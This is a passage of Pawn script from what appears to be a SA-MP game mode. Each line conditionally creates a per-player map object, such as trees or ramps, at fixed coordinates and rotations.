    if(from<=(64+562) && to>=(64+562)) PlayerObject[playerid][64+562] = CreatePlayerObject(playerid, 1503,695.03613281,-3740.89160156,50.38000107,0.00000000,0.00000000,179.99450684);
    if(from<=(65+562) && to>=(65+562)) PlayerObject[playerid][65+562] = CreatePlayerObject(playerid, 5259,693.28417969,-3754.06738281,49.51499939,0.00000000,0.00000000,0.00000000);
    if(from<=(66+562) && to>=(66+562)) PlayerObject[playerid][66+562] = CreatePlayerObject(playerid, 3565,696.01562500,-3710.00000000,49.79999924,0.00000000,0.00000000,270.00000000);
    if(from<=(67+562) && to>=(67+562)) PlayerObject[playerid][67+562] = CreatePlayerObject(playerid, 3565,696.01562500,-3717.80004883,49.19499969,0.00000000,9.00000000,270.00000000);
    if(from<=(68+562) && to>=(68+562)) PlayerObject[playerid][68+562] = CreatePlayerObject(playerid, 5269,681.72259521,-3757.19653320,52.31000137,0.00000000,0.00000000,90.00000000);
    if(from<=(69+562) && to>=(69+562)) PlayerObject[playerid][69+562] = CreatePlayerObject(playerid, 18367,675.63476562,-3755.03320312,53.40000153,349.79919434,0.00000000,289.99511719);
    if(from<=(70+562) && to>=(70+562)) PlayerObject[playerid][70+562] = CreatePlayerObject(playerid, 5269,678.69476318,-3755.19970703,50.00000000,0.00000000,0.00000000,90.00000000);
    if(from<=(71+562) && to>=(71+562)) PlayerObject[playerid][71+562] = CreatePlayerObject(playerid, 5259,643.95385742,-3766.17724609,48.25999832,0.00000000,0.00000000,0.00000000);
    if(from<=(72+562) && to>=(72+562)) PlayerObject[playerid][72+562] = CreatePlayerObject(playerid, 5259,643.95385742,-3766.17724609,55.22000122,0.00000000,0.00000000,0.00000000);
    if(from<=(73+562) && to>=(73+562)) PlayerObject[playerid][73+562] = CreatePlayerObject(playerid, 18367,610.83819580,-3778.90625000,51.00000000,350.00000000,0.00000000,109.99514771);
    if(from<=(74+562) && to>=(74+562)) PlayerObject[playerid][74+562] = CreatePlayerObject(playerid, 5259,635.90545654,-3769.19482422,50.59500122,0.00000000,0.00000000,0.00000000);
    if(from<=(75+562) && to>=(75+562)) PlayerObject[playerid][75+562] = CreatePlayerObject(playerid, 5153,606.15765381,-3780.67822266,50.00000000,0.00000000,22.00000000,20.00000000);
    if(from<=(76+562) && to>=(76+562)) PlayerObject[playerid][76+562] = CreatePlayerObject(playerid, 5153,608.94824219,-3779.66015625,50.42575073,0.00000000,0.00000000,19.99511719);
    if(from<=(77+562) && to>=(77+562)) PlayerObject[playerid][77+562] = CreatePlayerObject(playerid, 5153,607.87219238,-3780.05346680,50.20000076,0.00000000,10.00000000,19.99511719);
    if(from<=(78+562) && to>=(78+562)) PlayerObject[playerid][78+562] = CreatePlayerObject(playerid, 5153,603.04992676,-3781.80932617,50.25000000,0.00000000,45.00000000,19.99511719);
    if(from<=(79+562) && to>=(79+562)) PlayerObject[playerid][79+562] = CreatePlayerObject(playerid, 5153,581.12072754,-3791.00268555,54.74441528,0.00000000,23.32998657,19.98962402);
    if(from<=(80+562) && to>=(80+562)) PlayerObject[playerid][80+562] = CreatePlayerObject(playerid, 5153,601.83007812,-3782.25683594,50.70000076,0.00000000,54.00000000,19.98962402);
    if(from<=(81+562) && to>=(81+562)) PlayerObject[playerid][81+562] = CreatePlayerObject(playerid, 697,607.41113281,-3763.73242188,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(82+562) && to>=(82+562)) PlayerObject[playerid][82+562] = CreatePlayerObject(playerid, 697,614.77246094,-3768.67285156,50.00000000,0.00000000,0.00000000,69.99389648);
    if(from<=(83+562) && to>=(83+562)) PlayerObject[playerid][83+562] = CreatePlayerObject(playerid, 697,626.99871826,-3798.78344727,50.00000000,0.00000000,0.00000000,277.98889160);
    if(from<=(84+562) && to>=(84+562)) PlayerObject[playerid][84+562] = CreatePlayerObject(playerid, 697,616.20123291,-3795.85327148,50.00000000,0.00000000,0.00000000,7.98156738);
    if(from<=(85+562) && to>=(85+562)) PlayerObject[playerid][85+562] = CreatePlayerObject(playerid, 697,610.80957031,-3794.03906250,50.00000000,0.00000000,0.00000000,17.98461914);
    if(from<=(86+562) && to>=(86+562)) PlayerObject[playerid][86+562] = CreatePlayerObject(playerid, 697,642.42358398,-3716.17260742,50.00000000,0.00000000,0.00000000,350.00000000);
    if(from<=(87+562) && to>=(87+562)) PlayerObject[playerid][87+562] = CreatePlayerObject(playerid, 697,625.75195312,-3702.26269531,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(88+562) && to>=(88+562)) PlayerObject[playerid][88+562] = CreatePlayerObject(playerid, 697,638.92645264,-3691.27050781,50.00000000,0.00000000,0.00000000,341.99755859);
    if(from<=(89+562) && to>=(89+562)) PlayerObject[playerid][89+562] = CreatePlayerObject(playerid, 697,685.82812500,-3699.34521484,50.00000000,0.00000000,0.00000000,43.99340820);
    if(from<=(90+562) && to>=(90+562)) PlayerObject[playerid][90+562] = CreatePlayerObject(playerid, 697,690.52050781,-3701.39062500,50.00000000,0.00000000,0.00000000,311.98974609);
    if(from<=(91+562) && to>=(91+562)) PlayerObject[playerid][91+562] = CreatePlayerObject(playerid, 697,688.17382812,-3714.92480469,50.00000000,0.00000000,0.00000000,51.99279785);
    if(from<=(92+562) && to>=(92+562)) PlayerObject[playerid][92+562] = CreatePlayerObject(playerid, 697,678.34796143,-3749.77661133,50.00000000,0.00000000,0.00000000,11.99279785);
    if(from<=(93+562) && to>=(93+562)) PlayerObject[playerid][93+562] = CreatePlayerObject(playerid, 697,664.61328125,-3719.84960938,50.00000000,0.00000000,0.00000000,181.98852539);
    if(from<=(94+562) && to>=(94+562)) PlayerObject[playerid][94+562] = CreatePlayerObject(playerid, 697,693.07452393,-3763.56835938,50.00000000,0.00000000,0.00000000,11.99157715);
    if(from<=(95+562) && to>=(95+562)) PlayerObject[playerid][95+562] = CreatePlayerObject(playerid, 697,679.26702881,-3769.09521484,49.99999619,0.00000000,0.00000000,101.99157715);
    if(from<=(96+562) && to>=(96+562)) PlayerObject[playerid][96+562] = CreatePlayerObject(playerid, 697,666.98431396,-3754.50122070,50.00000000,0.00000000,0.00000000,101.98605347);
    if(from<=(97+562) && to>=(97+562)) PlayerObject[playerid][97+562] = CreatePlayerObject(playerid, 697,688.51623535,-3742.36035156,50.00000000,0.00000000,0.00000000,141.98730469);
    if(from<=(98+562) && to>=(98+562)) PlayerObject[playerid][98+562] = CreatePlayerObject(playerid, 697,684.41699219,-3735.01074219,50.00000000,0.00000000,0.00000000,141.98730469);
    if(from<=(99+562) && to>=(99+562)) PlayerObject[playerid][99+562] = CreatePlayerObject(playerid, 697,682.04229736,-3720.10864258,50.00000000,0.00000000,0.00000000,71.98242188);
    if(from<=(100+562) && to>=(100+562)) PlayerObject[playerid][100+562] = CreatePlayerObject(playerid, 697,668.77441406,-3719.29492188,50.00000000,0.00000000,0.00000000,181.98852539);
    if(from<=(101+562) && to>=(101+562)) PlayerObject[playerid][101+562] = CreatePlayerObject(playerid, 697,664.36267090,-3712.03784180,50.00000000,0.00000000,0.00000000,101.98852539);
    if(from<=(102+562) && to>=(102+562)) PlayerObject[playerid][102+562] = CreatePlayerObject(playerid, 697,655.56445312,-3703.93847656,50.00000000,0.00000000,0.00000000,101.98608398);
    if(from<=(103+562) && to>=(103+562)) PlayerObject[playerid][103+562] = CreatePlayerObject(playerid, 697,653.52905273,-3758.98144531,50.00000000,0.00000000,0.00000000,61.97937012);
    if(from<=(104+562) && to>=(104+562)) PlayerObject[playerid][104+562] = CreatePlayerObject(playerid, 697,635.16601562,-3761.03613281,50.00000000,0.00000000,0.00000000,21.97814941);
    if(from<=(105+562) && to>=(105+562)) PlayerObject[playerid][105+562] = CreatePlayerObject(playerid, 697,638.63598633,-3758.24511719,50.00000000,0.00000000,0.00000000,27.97814941);
    if(from<=(106+562) && to>=(106+562)) PlayerObject[playerid][106+562] = CreatePlayerObject(playerid, 697,634.47363281,-3755.38281250,50.00000000,0.00000000,0.00000000,57.97485352);
    if(from<=(107+562) && to>=(107+562)) PlayerObject[playerid][107+562] = CreatePlayerObject(playerid, 697,631.42382812,-3754.96582031,50.00000000,0.00000000,0.00000000,57.97485352);
    if(from<=(108+562) && to>=(108+562)) PlayerObject[playerid][108+562] = CreatePlayerObject(playerid, 697,662.07250977,-3741.21826172,49.99999619,0.00000000,0.00000000,337.97485352);
    if(from<=(109+562) && to>=(109+562)) PlayerObject[playerid][109+562] = CreatePlayerObject(playerid, 697,646.10546875,-3746.02734375,50.00000000,0.00000000,0.00000000,57.97485352);
    if(from<=(110+562) && to>=(110+562)) PlayerObject[playerid][110+562] = CreatePlayerObject(playerid, 697,599.63085938,-3776.95483398,50.00000000,0.00000000,0.00000000,177.98461914);
    if(from<=(111+562) && to>=(111+562)) PlayerObject[playerid][111+562] = CreatePlayerObject(playerid, 697,603.19488525,-3787.56323242,50.00000000,0.00000000,0.00000000,317.98278809);
    if(from<=(112+562) && to>=(112+562)) PlayerObject[playerid][112+562] = CreatePlayerObject(playerid, 697,626.44311523,-3778.11181641,50.00000000,0.00000000,0.00000000,145.97851562);
    if(from<=(113+562) && to>=(113+562)) PlayerObject[playerid][113+562] = CreatePlayerObject(playerid, 697,591.16845703,-3798.37304688,50.00000000,0.00000000,0.00000000,80.00000000);
    if(from<=(114+562) && to>=(114+562)) PlayerObject[playerid][114+562] = CreatePlayerObject(playerid, 697,593.28125000,-3793.18847656,50.00000000,0.00000000,0.00000000,329.99633789);
    if(from<=(115+562) && to>=(115+562)) PlayerObject[playerid][115+562] = CreatePlayerObject(playerid, 5153,603.70703125,-3781.56250000,50.20000076,0.00000000,31.99768066,19.98962402);
    if(from<=(116+562) && to>=(116+562)) PlayerObject[playerid][116+562] = CreatePlayerObject(playerid, 5153,577.42333984,-3790.34643555,54.74441528,0.00000000,23.32946777,325.98413086);
    if(from<=(117+562) && to>=(117+562)) PlayerObject[playerid][117+562] = CreatePlayerObject(playerid, 5153,573.82165527,-3787.91430664,54.74441528,0.00000000,23.32397461,325.98083496);
    if(from<=(118+562) && to>=(118+562)) PlayerObject[playerid][118+562] = CreatePlayerObject(playerid, 5153,571.44970703,-3785.08398438,54.74441528,0.00000000,23.32397461,295.98083496);
    if(from<=(119+562) && to>=(119+562)) PlayerObject[playerid][119+562] = CreatePlayerObject(playerid, 5153,570.43908691,-3781.20483398,54.74441528,0.00000000,23.32397461,275.97717285);
    if(from<=(120+562) && to>=(120+562)) PlayerObject[playerid][120+562] = CreatePlayerObject(playerid, 5153,570.61303711,-3777.18994141,54.74441528,0.00000000,23.32397461,259.97656250);
    if(from<=(121+562) && to>=(121+562)) PlayerObject[playerid][121+562] = CreatePlayerObject(playerid, 5153,571.97540283,-3755.15161133,54.74441528,0.00000000,23.32397461,253.97497559);
    if(from<=(122+562) && to>=(122+562)) PlayerObject[playerid][122+562] = CreatePlayerObject(playerid, 5153,572.56445312,-3767.09765625,54.74441528,0.00000000,23.32397461,259.97497559);
    if(from<=(123+562) && to>=(123+562)) PlayerObject[playerid][123+562] = CreatePlayerObject(playerid, 5153,572.38476562,-3763.20019531,54.74441528,0.00000000,23.32397461,283.97460938);
    if(from<=(124+562) && to>=(124+562)) PlayerObject[playerid][124+562] = CreatePlayerObject(playerid, 5153,571.61718750,-3759.02539062,54.74441528,0.00000000,23.32397461,275.97106934);
    if(from<=(125+562) && to>=(125+562)) PlayerObject[playerid][125+562] = CreatePlayerObject(playerid, 5153,576.42944336,-3748.88476562,54.74441528,0.00000000,23.32397461,217.97094727);
    if(from<=(126+562) && to>=(126+562)) PlayerObject[playerid][126+562] = CreatePlayerObject(playerid, 5153,573.68945312,-3751.78906250,54.74441528,0.00000000,23.32397461,235.96984863);
    if(from<=(127+562) && to>=(127+562)) PlayerObject[playerid][127+562] = CreatePlayerObject(playerid, 5153,591.29663086,-3736.97583008,54.74441528,0.00000000,23.32397461,221.96875000);
    if(from<=(128+562) && to>=(128+562)) PlayerObject[playerid][128+562] = CreatePlayerObject(playerid, 5153,584.51660156,-3742.46289062,54.74441528,0.00000000,23.32397461,217.96325684);
    if(from<=(129+562) && to>=(129+562)) PlayerObject[playerid][129+562] = CreatePlayerObject(playerid, 5153,587.96582031,-3739.77441406,54.74441528,0.00000000,23.32397461,217.96875000);
    if(from<=(130+562) && to>=(130+562)) PlayerObject[playerid][130+562] = CreatePlayerObject(playerid, 5153,608.52178955,-3727.84936523,55.44441605,0.00000000,23.32397461,191.96777344);
    if(from<=(131+562) && to>=(131+562)) PlayerObject[playerid][131+562] = CreatePlayerObject(playerid, 5153,594.43066406,-3734.08203125,54.74441528,0.00000000,23.32397461,221.96875000);
    if(from<=(132+562) && to>=(132+562)) PlayerObject[playerid][132+562] = CreatePlayerObject(playerid, 5153,597.78027344,-3731.84277344,54.74441528,0.00000000,23.32397461,207.96569824);
    if(from<=(133+562) && to>=(133+562)) PlayerObject[playerid][133+562] = CreatePlayerObject(playerid, 5153,604.29394531,-3728.77050781,55.44441605,0.00000000,23.32397461,191.96411133);
    if(from<=(134+562) && to>=(134+562)) PlayerObject[playerid][134+562] = CreatePlayerObject(playerid, 5153,616.81842041,-3728.30078125,55.44441605,0.00000000,23.32397461,171.96411133);
    if(from<=(135+562) && to>=(135+562)) PlayerObject[playerid][135+562] = CreatePlayerObject(playerid, 5153,612.53808594,-3727.71777344,55.44441605,0.00000000,23.32397461,171.96350098);
    if(from<=(136+562) && to>=(136+562)) PlayerObject[playerid][136+562] = CreatePlayerObject(playerid, 5153,624.14770508,-3731.78051758,55.44441605,0.00000000,23.32397461,143.96353149);
    if(from<=(137+562) && to>=(137+562)) PlayerObject[playerid][137+562] = CreatePlayerObject(playerid, 5153,620.51953125,-3729.49902344,55.44441605,0.00000000,23.32397461,151.96289062);
    if(from<=(138+562) && to>=(138+562)) PlayerObject[playerid][138+562] = CreatePlayerObject(playerid, 5153,627.02148438,-3734.72363281,55.44441605,0.00000000,23.32397461,125.95938110);
    if(from<=(139+562) && to>=(139+562)) PlayerObject[playerid][139+562] = CreatePlayerObject(playerid, 697,552.17016602,-3764.48803711,50.00000000,0.00000000,0.00000000,202.98706055);
    if(from<=(140+562) && to>=(140+562)) PlayerObject[playerid][140+562] = CreatePlayerObject(playerid, 697,576.51629639,-3782.12500000,50.00000000,0.00000000,0.00000000,292.98706055);
    if(from<=(141+562) && to>=(141+562)) PlayerObject[playerid][141+562] = CreatePlayerObject(playerid, 697,594.19104004,-3770.36938477,50.00000000,0.00000000,0.00000000,126.98095703);
    if(from<=(142+562) && to>=(142+562)) PlayerObject[playerid][142+562] = CreatePlayerObject(playerid, 697,565.28515625,-3772.41796875,50.00000000,0.00000000,0.00000000,102.98034668);
    if(from<=(143+562) && to>=(143+562)) PlayerObject[playerid][143+562] = CreatePlayerObject(playerid, 697,584.31152344,-3774.87695312,50.00000000,0.00000000,0.00000000,186.97631836);
    if(from<=(144+562) && to>=(144+562)) PlayerObject[playerid][144+562] = CreatePlayerObject(playerid, 697,587.26068115,-3767.14111328,50.00000000,0.00000000,0.00000000,326.97998047);
    if(from<=(145+562) && to>=(145+562)) PlayerObject[playerid][145+562] = CreatePlayerObject(playerid, 697,562.87628174,-3758.51489258,50.00000000,0.00000000,0.00000000,334.21569824);
    if(from<=(146+562) && to>=(146+562)) PlayerObject[playerid][146+562] = CreatePlayerObject(playerid, 697,568.00390625,-3746.05371094,50.00000000,0.00000000,0.00000000,334.21508789);
    if(from<=(147+562) && to>=(147+562)) PlayerObject[playerid][147+562] = CreatePlayerObject(playerid, 697,596.24676514,-3756.12377930,50.00000000,0.00000000,0.00000000,80.00000000);
    if(from<=(148+562) && to>=(148+562)) PlayerObject[playerid][148+562] = CreatePlayerObject(playerid, 697,590.14282227,-3732.02709961,50.00000000,0.00000000,0.00000000,100.45898438);
    if(from<=(149+562) && to>=(149+562)) PlayerObject[playerid][149+562] = CreatePlayerObject(playerid, 697,595.03613281,-3724.07910156,49.99999619,0.00000000,0.00000000,40.45715332);
    if(from<=(150+562) && to>=(150+562)) PlayerObject[playerid][150+562] = CreatePlayerObject(playerid, 697,604.77880859,-3740.96459961,50.00000000,0.00000000,0.00000000,60.45898438);
    if(from<=(151+562) && to>=(151+562)) PlayerObject[playerid][151+562] = CreatePlayerObject(playerid, 697,604.74023438,-3717.12988281,50.00000000,0.00000000,0.00000000,60.45776367);
    if(from<=(152+562) && to>=(152+562)) PlayerObject[playerid][152+562] = CreatePlayerObject(playerid, 697,593.30175781,-3729.60253906,50.00000000,0.00000000,0.00000000,50.45471191);
    if(from<=(153+562) && to>=(153+562)) PlayerObject[playerid][153+562] = CreatePlayerObject(playerid, 697,607.54980469,-3742.04687500,50.00000000,0.00000000,0.00000000,100.45898438);
    if(from<=(154+562) && to>=(154+562)) PlayerObject[playerid][154+562] = CreatePlayerObject(playerid, 697,635.87695312,-3699.75292969,50.00000000,0.00000000,0.00000000,279.99755859);
    if(from<=(155+562) && to>=(155+562)) PlayerObject[playerid][155+562] = CreatePlayerObject(playerid, 697,634.15429688,-3713.73437500,50.00000000,0.00000000,0.00000000,289.99511719);
    if(from<=(156+562) && to>=(156+562)) PlayerObject[playerid][156+562] = CreatePlayerObject(playerid, 697,626.55950928,-3722.66113281,50.00000000,0.00000000,0.00000000,157.99389648);
    if(from<=(157+562) && to>=(157+562)) PlayerObject[playerid][157+562] = CreatePlayerObject(playerid, 697,673.91467285,-3749.90820312,50.00000000,0.00000000,0.00000000,81.99157715);
    if(from<=(158+562) && to>=(158+562)) PlayerObject[playerid][158+562] = CreatePlayerObject(playerid, 697,642.93652344,-3779.73144531,50.00000000,0.00000000,0.00000000,21.98364258);
    if(from<=(159+562) && to>=(159+562)) PlayerObject[playerid][159+562] = CreatePlayerObject(playerid, 697,659.76367188,-3771.82812500,50.00000000,0.00000000,0.00000000,301.98120117);
    if(from<=(160+562) && to>=(160+562)) PlayerObject[playerid][160+562] = CreatePlayerObject(playerid, 697,655.65576172,-3776.80078125,50.00000000,0.00000000,0.00000000,241.98486328);
    if(from<=(161+562) && to>=(161+562)) PlayerObject[playerid][161+562] = CreatePlayerObject(playerid, 5153,581.51715088,-3792.05615234,55.89492035,270.00000000,23.32946777,19.98413086);
    if(from<=(162+562) && to>=(162+562)) PlayerObject[playerid][162+562] = CreatePlayerObject(playerid, 5153,577.66003418,-3791.67041016,55.89492035,269.99450684,23.32397461,325.97863770);
    if(from<=(163+562) && to>=(163+562)) PlayerObject[playerid][163+562] = CreatePlayerObject(playerid, 686,574.67755127,-3787.05761719,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(164+562) && to>=(164+562)) PlayerObject[playerid][164+562] = CreatePlayerObject(playerid, 686,575.37115479,-3790.62841797,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(165+562) && to>=(165+562)) PlayerObject[playerid][165+562] = CreatePlayerObject(playerid, 686,582.30957031,-3789.16479492,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(166+562) && to>=(166+562)) PlayerObject[playerid][166+562] = CreatePlayerObject(playerid, 686,589.51873779,-3780.47045898,50.00000000,0.00000000,0.00000000,92.00000000);
    if(from<=(167+562) && to>=(167+562)) PlayerObject[playerid][167+562] = CreatePlayerObject(playerid, 686,571.92291260,-3776.48999023,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(168+562) && to>=(168+562)) PlayerObject[playerid][168+562] = CreatePlayerObject(playerid, 686,569.01757812,-3781.09082031,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(169+562) && to>=(169+562)) PlayerObject[playerid][169+562] = CreatePlayerObject(playerid, 686,636.40142822,-3692.88598633,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(170+562) && to>=(170+562)) PlayerObject[playerid][170+562] = CreatePlayerObject(playerid, 686,640.06030273,-3698.28515625,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(171+562) && to>=(171+562)) PlayerObject[playerid][171+562] = CreatePlayerObject(playerid, 686,630.75402832,-3717.87768555,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(172+562) && to>=(172+562)) PlayerObject[playerid][172+562] = CreatePlayerObject(playerid, 686,627.94995117,-3717.72607422,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(173+562) && to>=(173+562)) PlayerObject[playerid][173+562] = CreatePlayerObject(playerid, 686,675.58984375,-3740.83203125,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(174+562) && to>=(174+562)) PlayerObject[playerid][174+562] = CreatePlayerObject(playerid, 686,661.50781250,-3732.28906250,50.00000000,0.00000000,0.00000000,249.99938965);
    if(from<=(175+562) && to>=(175+562)) PlayerObject[playerid][175+562] = CreatePlayerObject(playerid, 686,681.18261719,-3700.86523438,50.00000000,0.00000000,0.00000000,249.99938965);
    if(from<=(176+562) && to>=(176+562)) PlayerObject[playerid][176+562] = CreatePlayerObject(playerid, 686,684.18536377,-3708.27709961,50.00000000,0.00000000,0.00000000,309.99938965);
    if(from<=(177+562) && to>=(177+562)) PlayerObject[playerid][177+562] = CreatePlayerObject(playerid, 686,675.73144531,-3706.04394531,50.00000000,0.00000000,0.00000000,219.99572754);
    if(from<=(178+562) && to>=(178+562)) PlayerObject[playerid][178+562] = CreatePlayerObject(playerid, 686,666.05664062,-3705.76269531,50.00000000,0.00000000,0.00000000,219.99572754);
    if(from<=(179+562) && to>=(179+562)) PlayerObject[playerid][179+562] = CreatePlayerObject(playerid, 686,688.19604492,-3746.39624023,50.00000000,0.00000000,0.00000000,49.99633789);
    if(from<=(180+562) && to>=(180+562)) PlayerObject[playerid][180+562] = CreatePlayerObject(playerid, 686,685.18304443,-3766.87573242,50.00000000,0.00000000,0.00000000,49.99328613);
    if(from<=(181+562) && to>=(181+562)) PlayerObject[playerid][181+562] = CreatePlayerObject(playerid, 686,695.61456299,-3760.56738281,50.00000000,0.00000000,0.00000000,289.98962402);
    if(from<=(182+562) && to>=(182+562)) PlayerObject[playerid][182+562] = CreatePlayerObject(playerid, 686,618.41247559,-3779.66577148,50.00000000,0.00000000,0.00000000,289.98962402);
    if(from<=(183+562) && to>=(183+562)) PlayerObject[playerid][183+562] = CreatePlayerObject(playerid, 686,601.58978271,-3784.94897461,50.00000000,0.00000000,0.00000000,289.98962402);
    if(from<=(184+562) && to>=(184+562)) PlayerObject[playerid][184+562] = CreatePlayerObject(playerid, 686,603.52929688,-3778.44433594,50.00000000,0.00000000,0.00000000,289.98962402);
    if(from<=(185+562) && to>=(185+562)) PlayerObject[playerid][185+562] = CreatePlayerObject(playerid, 686,618.93951416,-3752.80517578,50.00000000,0.00000000,0.00000000,289.98962402);
    if(from<=(186+562) && to>=(186+562)) PlayerObject[playerid][186+562] = CreatePlayerObject(playerid, 697,578.08081055,-3777.39990234,50.00000000,0.00000000,0.00000000,192.98339844);
    if(from<=(187+562) && to>=(187+562)) PlayerObject[playerid][187+562] = CreatePlayerObject(playerid, 686,571.09838867,-3767.87402344,50.00000000,0.00000000,0.00000000,91.99951172);
    if(from<=(188+562) && to>=(188+562)) PlayerObject[playerid][188+562] = CreatePlayerObject(playerid, 686,573.94964600,-3766.97729492,50.00000000,0.00000000,0.00000000,91.99951172);
    if(from<=(189+562) && to>=(189+562)) PlayerObject[playerid][189+562] = CreatePlayerObject(playerid, 686,570.37689209,-3759.67114258,50.00000000,0.00000000,0.00000000,91.99951172);
    if(from<=(190+562) && to>=(190+562)) PlayerObject[playerid][190+562] = CreatePlayerObject(playerid, 686,572.82196045,-3758.05371094,50.00000000,0.00000000,0.00000000,91.99951172);
    if(from<=(191+562) && to>=(191+562)) PlayerObject[playerid][191+562] = CreatePlayerObject(playerid, 686,575.40844727,-3751.37817383,50.00000000,0.00000000,0.00000000,15.99951172);
    if(from<=(192+562) && to>=(192+562)) PlayerObject[playerid][192+562] = CreatePlayerObject(playerid, 686,577.14941406,-3746.93066406,50.00000000,0.00000000,0.00000000,91.99401855);
    if(from<=(193+562) && to>=(193+562)) PlayerObject[playerid][193+562] = CreatePlayerObject(playerid, 686,572.59570312,-3732.79980469,50.00000000,0.00000000,0.00000000,1.99951172);
    if(from<=(194+562) && to>=(194+562)) PlayerObject[playerid][194+562] = CreatePlayerObject(playerid, 686,571.21923828,-3752.78271484,50.00000000,0.00000000,0.00000000,15.99609375);
    if(from<=(195+562) && to>=(195+562)) PlayerObject[playerid][195+562] = CreatePlayerObject(playerid, 686,591.84259033,-3744.51562500,50.00000000,0.00000000,0.00000000,15.99609375);
    if(from<=(196+562) && to>=(196+562)) PlayerObject[playerid][196+562] = CreatePlayerObject(playerid, 5153,571.35473633,-3773.10107422,54.74441528,0.00000000,23.32397461,259.97497559);
    if(from<=(197+562) && to>=(197+562)) PlayerObject[playerid][197+562] = CreatePlayerObject(playerid, 686,570.22570801,-3771.40405273,50.00000000,0.00000000,0.00000000,0.00000000);
    if(from<=(198+562) && to>=(198+562)) PlayerObject[playerid][198+562] = CreatePlayerObject(playerid, 686,584.16326904,-3744.61547852,50.00000000,0.00000000,0.00000000,91.99401855);
    if(from<=(199+562) && to>=(199+562)) PlayerObject[playerid][199+562] = CreatePlayerObject(playerid, 686,585.26342773,-3740.41430664,50.00000000,0.00000000,0.00000000,91.99401855);
    if(from<=(200+562) && to>=(200+562)) PlayerObject[playerid][200+562] = CreatePlayerObject(playerid, 686,591.47259521,-3735.26000977,50.00000000,0.00000000,0.00000000,91.99401855);
    if(from<=(201+562) && to>=(201+562)) PlayerObject[playerid][201+562] = CreatePlayerObject(playerid, 686,591.20843506,-3738.94750977,50.00000000,0.00000000,0.00000000,91.99401855);
    if(from<=(202+562) && to>=(202+562)) PlayerObject[playerid][202+562] = CreatePlayerObject(playerid, 686,599.34313965,-3732.69189453,50.00000000,0.00000000,0.00000000,91.99401855);
    if(from<=(203+562) && to>=(203+562)) PlayerObject[playerid][203+562] = CreatePlayerObject(playerid, 686,603.92169189,-3730.55957031,50.00000000,0.00000000,0.00000000,91.99401855);
    if(from<=(204+562) && to>=(204+562)) PlayerObject[playerid][204+562] = CreatePlayerObject(playerid, 686,605.55584717,-3727.29199219,50.00000000,0.00000000,0.00000000,91.99401855);
    if(from<=(205+562) && to>=(205+562)) PlayerObject[playerid][205+562] = CreatePlayerObject(playerid, 686,610.18048096,-3728.98730469,50.00000000,0.00000000,0.00000000,91.99401855);
    if(from<=(206+562) && to>=(206+562)) PlayerObject[playerid][206+562] = CreatePlayerObject(playerid, 686,619.04309082,-3727.52563477,50.00000000,0.00000000,0.00000000,91.99401855);
    if(from<=(207+562) && to>=(207+562)) PlayerObject[playerid][207+562] = CreatePlayerObject(playerid, 686,616.51843262,-3729.72534180,50.00000000,0.00000000,0.00000000,91.99401855);
    if(from<=(208+562) && to>=(208+562)) PlayerObject[playerid][208+562] = CreatePlayerObject(playerid, 686,624.65881348,-3733.95874023,50.00000000,0.00000000,0.00000000,91.99401855);
    if(from<=(209+562) && to>=(209+562)) PlayerObject[playerid][209+562] = CreatePlayerObject(playerid, 686,624.15863037,-3735.10424805,50.00000000,0.00000000,0.00000000,205.99401855);
    if(from<=(210+562) && to>=(210+562)) PlayerObject[playerid][210+562] = CreatePlayerObject(playerid, 686,627.69525146,-3733.13867188,50.00000000,0.00000000,0.00000000,205.99365234);
    if(from<=(211+562) && to>=(211+562)) PlayerObject[playerid][211+562] = CreatePlayerObject(playerid, 686,644.07318115,-3727.79003906,50.00000000,0.00000000,0.00000000,141.99365234);
    if(from<=(212+562) && to>=(212+562)) PlayerObject[playerid][212+562] = CreatePlayerObject(playerid, 686,575.25366211,-3747.22680664,50.00000000,0.00000000,0.00000000,171.99401855);
    if(from<=(213+562) && to>=(213+562)) PlayerObject[playerid][213+562] = CreatePlayerObject(playerid, 686,574.54431152,-3743.54174805,50.00000000,0.00000000,0.00000000,101.99096680);
    if(from<=(214+562) && to>=(214+562)) PlayerObject[playerid][214+562] = CreatePlayerObject(playerid, 686,579.13305664,-3717.96166992,50.00000000,0.00000000,0.00000000,71.99890137);
    if(from<=(215+562) && to>=(215+562)) PlayerObject[playerid][215+562] = CreatePlayerObject(playerid, 697,569.23071289,-3733.15698242,50.00000000,0.00000000,0.00000000,274.21508789);
    if(from<=(216+562) && to>=(216+562)) PlayerObject[playerid][216+562] = CreatePlayerObject(playerid, 686,616.97534180,-3746.14599609,50.00000000,0.00000000,0.00000000,205.99365234);
    if(from<=(217+562) && to>=(217+562)) PlayerObject[playerid][217+562] = CreatePlayerObject(playerid, 686,618.44561768,-3741.38671875,50.00000000,0.00000000,0.00000000,205.99365234);
    if(from<=(218+562) && to>=(218+562)) PlayerObject[playerid][218+562] = CreatePlayerObject(playerid, 686,621.16021729,-3735.62060547,50.00000000,0.00000000,0.00000000,205.99365234);
    if(from<=(219+562) && to>=(219+562)) PlayerObject[playerid][219+562] = CreatePlayerObject(playerid, 686,622.69525146,-3741.36132812,50.00000000,0.00000000,0.00000000,159.99365234);
    if(from<=(220+562) && to>=(220+562)) PlayerObject[playerid][220+562] = CreatePlayerObject(playerid, 686,620.47027588,-3745.62451172,50.00000000,0.00000000,0.00000000,205.99365234);
    if(from<=(221+562) && to>=(221+562)) PlayerObject[playerid][221+562] = CreatePlayerObject(playerid, 686,609.77770996,-3755.18701172,50.00000000,0.00000000,0.00000000,205.99365234);
    if(from<=(222+562) && to>=(222+562)) PlayerObject[playerid][222+562] = CreatePlayerObject(playerid, 686,609.76361084,-3752.93652344,50.00000000,0.00000000,0.00000000,165.99365234);
    if(from<=(223+562) && to>=(223+562)) PlayerObject[playerid][223+562] = CreatePlayerObject(playerid, 5152,687.48303223,-3757.16430664,54.84999847,0.00000000,23.32998657,5.25000000);
